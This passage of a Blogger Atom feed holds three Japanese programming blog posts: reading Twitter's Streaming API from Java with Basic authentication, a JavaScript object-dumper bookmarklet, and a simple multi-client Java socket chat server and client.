src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-3895974522269495839</id><published>2012-01-19T00:11:00.001+09:00</published><updated>2012-01-19T00:27:35.878+09:00</updated><title type='text'>TwitterのStreaming APIを利用する（Java）</title><content type='html'>&lt;p&gt;この内容は自分のようなStreaming API?^q^やSSL?’q`な方に向けて書いていきます。&lt;/p&gt; &lt;p&gt;まず大まかな流れ。&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;1.SSLソケットを作る&lt;/p&gt; &lt;p&gt;2.BASIC認証用のキーを作成する&lt;/p&gt; &lt;p&gt;3.キーを使いリクエストヘッダを作成し送信する&lt;/p&gt; &lt;p&gt;4.データをもらう&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;これだけ。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;Javaで書くとソースコードはこんな感じ。&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;import java.io.*;&lt;br&gt;import java.net.*;&lt;br&gt;import javax.net.ssl.*;&lt;br&gt;import sun.misc.BASE64Encoder;&lt;/p&gt; &lt;p&gt;class test{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; public static void main(String[] args) throws Exception {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //SSLSocketを作成&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Socket s = HttpsURLConnection.getDefaultSSLSocketFactory().createSocket("stream.twitter.com",443);&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //入出力用&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; BufferedReader in = new BufferedReader(new InputStreamReader(s.getInputStream()));&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; PrintWriter out = new PrintWriter(s.getOutputStream());&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //filterの場合、track=検索キーワードでキーワード検索の結果をリアルタイムで取得できる。&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; out.println("GET /1/statuses/filter.json?track=axe1lyze HTTP/1.1");&lt;/p&gt; &lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //認証キーの作成 ユーザーID:パスワード をBASE64で暗号化&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; String key = new String((new BASE64Encoder()).encodeBuffer("UserID:Password".getBytes()));&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; out.println("Authorization:Basic "+key);&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //フラッシュしてデータを送信&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; out.flush();&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //これでデータを取得し続ける&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; String line;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; while((line=in.readLine())!=null){System.out.println(line);}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;}&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;取得形式はJSONだけなのかな？XMLもいけるとありがたいんだけども。&lt;/p&gt; &lt;p&gt;BASIC認証が使えるみたい。これはStreaming APIだけかな？&lt;/p&gt; &lt;p&gt;ツイートの投稿もこんな流れでできると幸せになれるんだけどなぁ。&lt;/p&gt; &lt;p&gt;自分が知らないだけでしたら申し訳ありません。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-3895974522269495839?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/3895974522269495839/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=3895974522269495839&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/3895974522269495839'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/3895974522269495839'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2012/01/javatwitterstreaming-api.html' title='TwitterのStreaming APIを利用する（Java）'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-7864540189825436174</id><published>2011-12-30T21:30:00.001+09:00</published><updated>2012-01-01T21:34:59.954+09:00</updated><title type='text'>JavaScript Object Dumper</title><content type='html'>&lt;p&gt;&lt;/p&gt; &lt;p&gt;JavaScriptのオブジェクトの中身を表示するメソッド。&lt;/p&gt; &lt;p&gt;&lt;a href="http://smokycat.info/category_javascript/106"&gt;http://smokycat.info/category_javascript/106&lt;/a&gt; この記事に張り合って書いてみた。&lt;/p&gt; &lt;p&gt;理系の人のコードはやたら短いし、変数名一文字だし、凄いですね。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;dumpObject(obj)&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;で戻り値はJSON形式になっています。&lt;/p&gt; &lt;p&gt;※Javaでいうprivateで定義されている変数までは取得できません。&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;function dumpObject(obj,index,objKey){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; index=index?index:0;index++;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; var returnStr = "";&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; var tab = "";&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; for(i=1;i&amp;lt;index;i++)tab+="\t";&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; returnStr += "\n"+tab+(objKey?"\""+objKey+"\":":"")+"{";&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; for(key in obj)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; returnStr += typeof obj[key]=="object"?&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dumpObject(obj[key],index,key):&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "\n"+tab+"\t"+"\""+key+"\":"+(typeof obj[key]=="string"?"\""+obj[key]+"\"":obj[key])+",";&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; return returnStr.substring(0,returnStr.length-1) + "\n"+tab+"}"+(!objKey?"":",");&lt;br&gt;}&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;以下のように使ってみてください。  &lt;blockquote&gt;window.open().document.write(dumpObject(eval("("+window.prompt()+")")).replace(/\n/g,"&amp;lt;br&amp;gt;").replace(/\t/g,"&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;"));&lt;/blockquote&gt; &lt;p&gt;ほとんど必要ないと思いますが、以下のようにしてオブジェクトを復元できます。  &lt;blockquote&gt; &lt;p&gt;eval("("+dumpObject(obj)+")");&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;Bookmarklet用&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;(function f(a,b,c){b=b?b:0;b++;var d="";var e="";for(i=1;i&amp;lt;b;i++)e+="\t";d+="\n"+e+(c?"\""+c+"\":":"")+"{";for(k in a)d+=typeof a[k]=="object"?f(a[k],b,k):"\n"+e+"\t"+"\""+k+"\":"+(typeof a[k]=="string"?"\""+a[k]+"\"":a[k])+",";return d.substring(0,d.length-1)+"\n"+e+"}"+(!c?"":",")})(&lt;font color="red"&gt;obj&lt;/font&gt;)&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;この無名関数の引数（赤文字部分）にオブジェクトを渡してください。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-7864540189825436174?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/7864540189825436174/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=7864540189825436174&amp;isPopup=true' title='1 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/7864540189825436174'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/7864540189825436174'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2011/12/javascript-object-dumper.html' title='JavaScript Object Dumper'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-4459415637614167729</id><published>2011-12-13T23:26:00.001+09:00</published><updated>2011-12-13T23:31:03.491+09:00</updated><title type='text'>JavaのSocketで切断を検知(2)</title><content type='html'>&lt;p&gt;以前にはデータ交換用と接続チェック用の２つのソケットをつないで、接続チェック用のソケットを使って相手が一定時間以内にデータを送ってきているかどうかで接続をチェックしていた。&lt;/p&gt; &lt;p&gt;あまりに無駄である。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;もっと素直に簡単な方法があった。&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;Socket s = new ServerSocket(portNum).accept();&lt;br&gt;BufferedReader in = new BufferedReader(new InputStreamReader(s.getInputStream()));&lt;br&gt;try{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; while(true)System.out.println(in.readLine());&lt;br&gt;}catch(IOException e){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; System.out.println("Disconnected.");&lt;br&gt;}&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;これだけ。どうやら切断されたらIOExceptionに投げられるらしい。まぁ当たり前といえば当たり前なのかな？  &lt;p&gt;というのを踏まえて、複数人が同時にアクセス出来るメッセージ交換システムを作ってみた。  &lt;p&gt;&amp;nbsp; &lt;p&gt;以下ソースコード  &lt;p&gt;SocketServer.java  &lt;blockquote&gt; &lt;p&gt;import java.io.*;&lt;br&gt;import java.util.*;&lt;br&gt;import java.net.*;  &lt;p&gt;class SocketServer{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; private static ArrayList&amp;lt;ServerSocketThread&amp;gt; socketThreads = new ArrayList&amp;lt;ServerSocketThread&amp;gt;();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; public static void main(String[] args)throws IOException{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; while(true){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ServerSocket sv = new ServerSocket(1024);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ServerSocketThread sst = new ServerSocketThread(sv.accept());&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; socketThreads.add(sst);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sst.start();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sv.close();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; System.out.println("Connected!");&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; System.out.println("now : "+socketThreads.size()+"\n");&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for(int i=0;i&amp;lt;socketThreads.size();i++){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; try{socketThreads.get(i).send("Connected.");}catch(IOException ex){}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; public static class ServerSocketThread extends Thread{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; private Socket s;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; private BufferedReader in;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; private PrintWriter out;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ServerSocketThread(Socket s)throws IOException{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.s = s;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; in = new BufferedReader(new InputStreamReader(s.getInputStream()));&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; out = new PrintWriter(s.getOutputStream());&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public void run(){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; try{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; while(true){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; String str = in.readLine();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for(int i=0;i&amp;lt;socketThreads.size();i++){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; socketThreads.get(i).send(str);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }catch(IOException e){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; socketThreads.remove(this);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; System.out.println("Disconnected.");&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; System.out.println("now : "+socketThreads.size()+"\n");&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for(int i=0;i&amp;lt;socketThreads.size();i++){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; try{socketThreads.get(i).send("Disconnected.");}catch(IOException ex){}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public void send(String data)throws IOException{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; out.println(data);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; out.flush();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;}&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&amp;nbsp; &lt;p&gt;SocketClient.java  &lt;blockquote&gt; &lt;p&gt;import java.io.*;&lt;br&gt;import java.util.*;&lt;br&gt;import java.net.*;  &lt;p&gt;class SocketClient{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; private static Socket s;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; public static void main(String[] args)throws IOException{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Scanner input = new Scanner(System.in);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; s = new Socket("localhost",1024);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; PrintWriter out = new PrintWriter(s.getOutputStream());&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; new ClientSocketThread().start();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; while(true){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; out.println(input.nextLine());&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; out.flush();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; public static class ClientSocketThread extends Thread{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; private BufferedReader in;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ClientSocketThread()throws IOException{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; in =&amp;nbsp; new BufferedReader(new InputStreamReader(s.getInputStream()));&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public void run(){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; try{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; while(true){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; System.out.println(in.readLine());&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }catch(IOException e){}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;}&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;恐らくJavaプログラム間だけではなく、Java←→Flashでもいけると思います。&lt;/p&gt; &lt;p&gt;また時間があれば検証してみます。&lt;/p&gt; &lt;p&gt;これは面白いものが作れそうな予感。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;もしこの記事を見た方で、「この人を我社に！」と思えた方がいらっしゃいましたら拾ってください！（切実）&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-4459415637614167729?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/4459415637614167729/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=4459415637614167729&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/4459415637614167729'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/4459415637614167729'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2011/12/javasocket.html' title='JavaのSocketで切断を検知(2)'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' 